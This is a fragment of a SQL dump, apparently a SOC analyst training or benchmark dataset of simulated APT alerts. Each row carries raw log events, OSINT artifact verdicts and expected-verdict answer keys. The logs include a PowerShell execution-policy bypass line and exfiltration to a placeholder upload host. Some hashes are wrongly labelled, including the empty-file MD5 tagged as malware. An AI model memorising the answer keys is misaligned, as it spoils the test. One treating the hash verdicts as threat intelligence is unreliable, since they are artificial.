Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.147Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:30Z\\\",\\\"event_source\\\":\\\"Data Loss Prevention\\\",\\\"src_ip\\\":\\\"10.20.30.40\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"file_name\\\":\\\"Sensitive_Project_Documents.zip\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"file_transfer\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"destination_url\\\":\\\"https://malicious-site.example.com/upload\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.20.30.40\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(535, 'Target Identification: Specific MAC Addresses', 'high', 'Threat Intelligence Feeds', 'The attackers are utilizing malware to identify and target specific MAC addresses, indicating a precise strike within the broader attack. This operation highlights the advanced capabilities of APT41 in conducting targeted attacks.', 'Targeted Attack', 'T1087 - Account Discovery', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:32Z\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.0.45\",\"malware_hash\":\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\",\"malware_filename\":\"CCleaner_v5.33.exe\",\"target_mac\":\"00:1A:2B:3C:4D:5E\",\"user\":\"jdoe\",\"action\":\"Identify\",\"result\":\"Specific MAC address identified within infected network\",\"attack_type\":\"Supply Chain Attack\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Shodan\",\"verdict\":\"malicious\",\"details\":\"IP associated with past APT41 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host identified in attack\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware associated with CCleaner supply chain attack\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"CCleaner_v5.33.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malicious file used in supply chain attack\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.149Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:45:32Z\\\",\\\"source_ip\\\":\\\"203.0.113.5\\\",\\\"destination_ip\\\":\\\"10.0.0.45\\\",\\\"malware_hash\\\":\\\"3f1d8e5c4a7e2eefb9f0a7f8d7c4d3c1\\\",\\\"malware_filename\\\":\\\"CCleaner_v5.33.exe\\\",\\\"target_mac\\\":\\\"00:1A:2B:3C:4D:5E\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Identify\\\",\\\"result\\\":\\\"Specific MAC address identified within infected network\\\",\\\"attack_type\\\":\\\"Supply Chain Attack\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(536, 'Command and Control: Maintaining Communication', 'high', 'Network Traffic Analysis', 'Network traffic analysis has identified persistent communication between internal hosts and known APT41 command and control servers. The backdoors on compromised systems maintain communication to ensure ongoing control. Indicators such as IPs, hashes, and domains have been flagged.', 'C2 Communication', 'T1105', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T03:21:45Z\",\"src_ip\":\"192.168.1.101\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"filename\":\"backdoor.exe\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"domain\":\"control.apt41-malicious.com\",\"username\":\"jdoe\",\"malware_family\":\"APT41_Backdoor\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_asset_management\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT41.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash of the backdoor file used by APT41.\"}},{\"id\":\"artifact_4\",\"type\":\"domain\",\"value\":\"control.apt41-malicious.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Malicious domain used for C2 communication by APT41.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with APT41 backdoor.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"Username of the compromised account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(537, 'Cleanup: Covering Tracks', 'high', 'File Integrity Monitoring', 'APT41 has been detected employing anti-forensic techniques to erase traces of their attack. This includes the deletion of log files and alteration of timestamps to cover their tracks, complicating detection and analysis efforts.', 'Anti-Forensic Techniques', 'T1070.004 - File Deletion', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:14:23Z\",\"event_type\":\"file_modification\",\"user\":\"malicious_actor\",\"affected_files\":[\"/var/log/auth.log\",\"/var/log/syslog\"],\"modification_type\":\"delete\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"hashes\":[\"e99a18c428cb38d5f260853678922e03\",\"d41d8cd98f00b204e9800998ecf8427e\"],\"associated_username\":\"admin_user\"}', '2026-01-06 02:36:36', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with APT41 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in the incident.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT41 known malware.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Integrity Monitoring\",\"verdict\":\"clean\",\"details\":\"Empty file hash indicating possible log file deletion.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected from admin account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.154Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:14:23Z\\\",\\\"event_type\\\":\\\"file_modification\\\",\\\"user\\\":\\\"malicious_actor\\\",\\\"affected_files\\\":[\\\"/var/log/auth.log\\\",\\\"/var/log/syslog\\\"],\\\"modification_type\\\":\\\"delete\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hashes\\\":[\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"d41d8cd98f00b204e9800998ecf8427e\\\"],\\\"associated_username\\\":\\\"admin_user\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(538, 'Suspicious Cloud Service Access', 'medium', 'Firewall logs', 'A compromised email account was used to send phishing emails containing links to payloads hosted on OneDrive. This appears to be an attempt to gain initial access to the network.', 'Initial Access', 'T1566.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-02T10:15:30Z\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"src_port\":443,\"dst_port\":58642,\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"username\":\"compromised_user@domain.com\",\"url\":\"https://onedrive.live.com/download?cid=1234abcd&resid=1234abcd%2D5678%2D90ef%2D1234%2D567890abcdef\",\"filename\":\"Invoice_Details.docx\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"email_subject\":\"Urgent: Invoice Details Required\"}', '2026-01-07 22:29:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"https://onedrive.live.com/download?cid=1234abcd&resid=1234abcd%2D5678%2D90ef%2D1234%2D567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis\",\"verdict\":\"suspicious\",\"details\":\"URL used in phishing email to deliver malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_Details.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware delivery.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"compromised_user@domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Account Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Account activity consistent with compromise.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(539, 'Cloud Atlas Malware Execution', 'high', 'Endpoint detection and response (EDR) logs', 'Upon successful initial access, the Cloud Atlas malware is executed on the target systems, utilizing PowerShell scripts to maintain stealth and execute remote commands.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\deployUpdate.ps1\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"file_name\":\"deployUpdate.ps1\",\"event_description\":\"PowerShell script executed for potential remote command execution\",\"os_version\":\"Windows 10 Pro\",\"device_name\":\"DESKTOP-AB123CD\"}', '2026-01-07 22:29:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a company asset\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with Cloud Atlas\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"deployUpdate.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal File Inventory\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file not commonly used in environment\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal HR Database\",\"verdict\":\"clean\",\"details\":\"Active employee with system access\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(540, 'Encrypted Data Exfiltration via Cloud Storage', 'high', 'Network traffic analysis', 'Network traffic analysis has identified suspicious encrypted data transfers from an internal system to a cloud storage service. The data is believed to be encrypted diplomatic communications exfiltrated to a Google Drive account, potentially for malicious purposes.', 'Exfiltration', 'T1567.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"35.190.247.1\",\"src_port\":443,\"dst_port\":443,\"protocol\":\"HTTPS\",\"user\":\"j.doe@diplomacy.gov\",\"filename\":\"encrypted_comm_20231015.bin\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"cloud_service\":\"Google Drive\",\"action\":\"upload\",\"bytes_sent\":1048576,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36\"}', '2026-01-07 22:29:04', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal host suspected to be compromised.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"35.190.247.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Google Cloud\",\"verdict\":\"suspicious\",\"details\":\"Google Drive IP used for potential data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with encrypted payload used in exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"encrypted_comm_20231015.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"File suspected to contain sensitive encrypted communications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(541, 'Unauthorized Access Detected', 'high', 'Email Gateway Logs', 'Rocra initiates its attack by sending spear-phishing emails containing malicious attachments to gain initial foothold in the network.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"email_id\":\"c2c9d5a3-5b4f-4099-a6e5-124ae6d2b5f7\",\"from\":\"attacker@example.malicious\",\"to\":\"user@targetcompany.com\",\"subject\":\"Urgent: Update Your Account Information\",\"attachment\":\"Invoice_Update_2023.docx\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"malicious_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.45\",\"username\":\"jdoe\",\"malware_family\":\"Rocra\"}', '2026-01-07 22:29:58', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"attacker@example.malicious\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain associated with 